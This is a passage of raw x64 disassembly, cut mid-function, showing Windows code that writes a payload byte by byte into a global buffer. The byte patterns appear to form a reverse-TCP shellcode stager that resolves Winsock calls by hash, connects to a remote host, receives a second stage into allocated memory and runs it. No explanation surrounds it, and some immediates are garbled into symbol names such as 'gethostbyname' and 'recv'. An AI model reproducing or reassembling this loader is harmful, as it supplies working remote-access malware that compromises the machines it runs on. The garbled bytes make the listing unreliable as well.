mov byte [rcx + rax], 0xe4
mov eax, 1
imul rax, rax, 0xff
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4c
mov eax, 1
imul rax, rax, 0x100
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x101
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf1
mov eax, 1
imul rax, rax, 0x102
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x103
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x104
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4c
mov eax, 1
imul rax, rax, 0x105
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x77
mov eax, 1
imul rax, rax, 0x106
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x26
mov eax, 1
imul rax, rax, 0x107
lea rcx, [0x140027af0]
mov byte [rcx + rax], 7
mov eax, 1
imul rax, rax, 0x108
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x109
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x10a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4c
mov eax, 1
imul rax, rax, 0x10b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x10c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xea
mov eax, 1
imul rax, rax, 0x10d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x68
mov eax, 1
imul rax, rax, 0x10e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x10f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x110
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0x1fe
jae 0x140002bea
jmp 0x140002bef
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x90]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x111
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0x1fe
jae 0x140002c26
jmp 0x140002c2b
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x98]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x112
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0x113
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x114
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x115
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x29
mov eax, 1
imul rax, rax, 0x116
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x80
mov eax, 1
imul rax, rax, 0x117
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6b
mov eax, 1
imul rax, rax, 0x118
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0x1fe
jae 0x140002cec
jmp 0x140002cf1
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xa0]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x119
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x11a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x11b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6a
mov eax, 1
imul rax, rax, 0x11c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa
mov eax, 1
imul rax, rax, 0x11d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x11e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5e
mov eax, 1
imul rax, rax, 0x11f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x50
mov eax, 1
imul rax, rax, 0x120
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x50
mov eax, 1
imul rax, rax, 0x121
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x122
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x123
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x124
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x125
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x126
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x127
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x128
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x129
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x12a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x12b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x12c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc2
mov eax, 1
imul rax, rax, 0x12d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x12e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x12f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x130
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x131
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x132
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc1
mov eax, 1
imul rax, rax, 0x133
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x134
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x135
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xea
mov eax, 1
imul rax, rax, 0x136
lea rcx, [0x140027af0]
mov byte [rcx + rax], recv
mov eax, 1
imul rax, rax, 0x137
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xdf
mov eax, 1
imul rax, rax, 0x138
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe0
mov eax, 1
imul rax, rax, 0x139
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x13a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x13b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x13c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x13d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc7
mov eax, 1
imul rax, rax, 0x13e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6a
mov eax, 1
imul rax, rax, 0x13f
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_recv
mov eax, 1
imul rax, rax, 0x140
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x141
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x142
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4c
mov eax, 1
imul rax, rax, 0x143
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x144
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe2
mov eax, 1
imul rax, rax, 0x145
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x146
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x147
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf9
mov eax, 1
imul rax, rax, 0x148
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x149
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x14a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x99
mov eax, 1
imul rax, rax, 0x14b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa5
mov eax, 1
imul rax, rax, 0x14c
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x14d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x61
mov eax, 1
imul rax, rax, 0x14e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x14f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x150
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x85
mov eax, 1
imul rax, rax, 0x151
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x152
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x153
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa
mov eax, 1
imul rax, rax, 0x154
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0x155
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x156
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xce
mov eax, 1
imul rax, rax, 0x157
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x75
mov eax, 1
imul rax, rax, 0x158
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe5
mov eax, 1
imul rax, rax, 0x159
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe8
mov eax, 1
imul rax, rax, 0x15a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x93
mov eax, 1
imul rax, rax, 0x15b
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0x1fe
jae 0x140003316
jmp 0x14000331b
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xa8]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x15c
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0x1fe
jae 0x140003352
jmp 0x140003357
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xb0]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x15d
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0x1fe
jae 0x14000338e
jmp 0x140003393
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xb8]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x15e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x15f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x83
mov eax, 1
imul rax, rax, 0x160
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xec
mov eax, 1
imul rax, rax, 0x161
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_recv
mov eax, 1
imul rax, rax, 0x162
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x163
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x164
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe2
mov eax, 1
imul rax, rax, 0x165
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x166
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x167
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x168
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6a
mov eax, 1
imul rax, rax, 0x169
lea rcx, [0x140027af0]
mov byte [rcx + rax], 4
mov eax, 1
imul rax, rax, 0x16a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x16b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x16c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x16d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x16e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf9
mov eax, 1
imul rax, rax, 0x16f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x170
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x171
lea rcx, [0x140027af0]
mov byte [rcx + rax], 2
mov eax, 1
imul rax, rax, 0x172
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd9
mov eax, 1
imul rax, rax, 0x173
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc8
mov eax, 1
imul rax, rax, 0x174
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5f
mov eax, 1
imul rax, rax, 0x175
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x176
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x177
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x83
mov eax, 1
imul rax, rax, 0x178
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf8
mov eax, 1
imul rax, rax, 0x179
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0x1fe
jae 0x140003637
jmp 0x14000363c
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xc0]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x17a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x7e
mov eax, 1
imul rax, rax, 0x17b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x55
mov eax, 1
imul rax, rax, 0x17c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x17d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x83
mov eax, 1
imul rax, rax, 0x17e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc4
mov eax, 1
imul rax, rax, 0x17f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x20
mov eax, 1
imul rax, rax, 0x180
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5e
mov eax, 1
imul rax, rax, 0x181
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x182
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf6
mov eax, 1
imul rax, rax, 0x183
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6a
mov eax, 1
imul rax, rax, 0x184
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x40
mov eax, 1
imul rax, rax, 0x185
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x186
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0x187
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x68
mov eax, 1
imul rax, rax, 0x188
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0x1fe
jae 0x1400037b5
jmp 0x1400037ba
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xc8]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x189
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_recv
mov eax, 1
imul rax, rax, 0x18a
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0x1fe
jae 0x140003808
jmp 0x14000380d
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xd0]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x18b
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0x1fe
jae 0x140003844
jmp 0x140003849
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xd8]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x18c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x18d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x18e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x18f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x190
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf2
mov eax, 1
imul rax, rax, 0x191
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x192
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x193
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x194
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x195
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x196
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x197
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa4
mov eax, 1
imul rax, rax, 0x198
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x53
mov eax, 1
imul rax, rax, 0x199
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe5
mov eax, 1
imul rax, rax, 0x19a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x19b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x19c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x19d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x19e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc3
mov eax, 1
imul rax, rax, 0x19f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0x1a0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x1a1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc7
mov eax, 1
imul rax, rax, 0x1a2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x1a3
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x1a4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x1a5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0x1a6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x1a7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf0
mov eax, 1
imul rax, rax, 0x1a8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1a9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x1aa
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xda
mov eax, 1
imul rax, rax, 0x1ab
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1ac
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0x1ad
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf9
mov eax, 1
imul rax, rax, 0x1ae
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x1af
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x1b0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 2
mov eax, 1
imul rax, rax, 0x1b1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd9
mov eax, 1
imul rax, rax, 0x1b2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc8
mov eax, 1
imul rax, rax, 0x1b3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5f
mov eax, 1
imul rax, rax, 0x1b4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1b5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x1b6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x83
mov eax, 1
imul rax, rax, 0x1b7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf8
mov eax, 1
imul rax, rax, 0x1b8
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 0x1fe
jae 0x140003c74
jmp 0x140003c79
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xe0]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x1b9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x7d
mov eax, 1
imul rax, rax, 0x1ba
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x28
mov eax, 1
imul rax, rax, 0x1bb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x1bc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x1bd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x57
mov eax, 1
imul rax, rax, 0x1be
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0x1bf
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x68
mov eax, 1
imul rax, rax, 0x1c0
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0x1fe
jae 0x140003d51
jmp 0x140003d56
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xe8]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x1c1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x40
mov eax, 1
imul rax, rax, 0x1c2
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0x1fe
jae 0x140003da4
jmp 0x140003da9
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xf0]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x1c3
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 0x1fe
jae 0x140003de0
jmp 0x140003de5
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0xf8]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x1c4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x1c5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x1c6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6a
mov eax, 1
imul rax, rax, 0x1c7
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0x1fe
jae 0x140003e61
jmp 0x140003e66
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x100]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x1c8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5a
mov eax, 1
imul rax, rax, 0x1c9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x1ca
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x1cb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xb
mov eax, 1
imul rax, rax, 0x1cc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x2f
mov eax, 1
imul rax, rax, 0x1cd
lea rcx, [0x140027af0]
mov byte [rcx + rax], recv
mov eax, 1
imul rax, rax, 0x1ce
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x30
mov eax, 1
imul rax, rax, 0x1cf
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1d0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x1d1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x57
mov eax, 1
imul rax, rax, 0x1d2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0x1d3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x1d4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xba
mov eax, 1
imul rax, rax, 0x1d5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x75
mov eax, 1
imul rax, rax, 0x1d6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6e
mov eax, 1
imul rax, rax, 0x1d7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x1d8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x61
mov eax, 1
imul rax, rax, 0x1d9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1da
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
mov eax, 1
imul rax, rax, 0x1db
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0x1dc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1dd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xce
mov eax, 1
imul rax, rax, 0x1de
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe9
mov eax, 1
imul rax, rax, 0x1df
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x3c
mov eax, 1
imul rax, rax, 0x1e0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1e1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1e2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1e3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1e4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x1e5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc3
mov eax, 1
imul rax, rax, 0x1e6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1e7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x29
mov eax, 1
imul rax, rax, 0x1e8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc6
mov eax, 1
imul rax, rax, 0x1e9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1ea
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x85
mov eax, 1
imul rax, rax, 0x1eb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf6
mov eax, 1
imul rax, rax, 0x1ec
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x75
mov eax, 1
imul rax, rax, 0x1ed
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xb4
mov eax, 1
imul rax, rax, 0x1ee
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x1ef
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1f0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe7
mov eax, 1
imul rax, rax, 0x1f1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x1f2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x6a
mov eax, 1
imul rax, rax, 0x1f3
mov qword [rsp + 0x108], rax
cmp qword [rsp + 0x108], 0x1fe
jae 0x14000427a
jmp 0x14000427f
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x108]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x1f4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0x1f5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0x1f6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc7
mov eax, 1
imul rax, rax, 0x1f7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc2
mov eax, 1
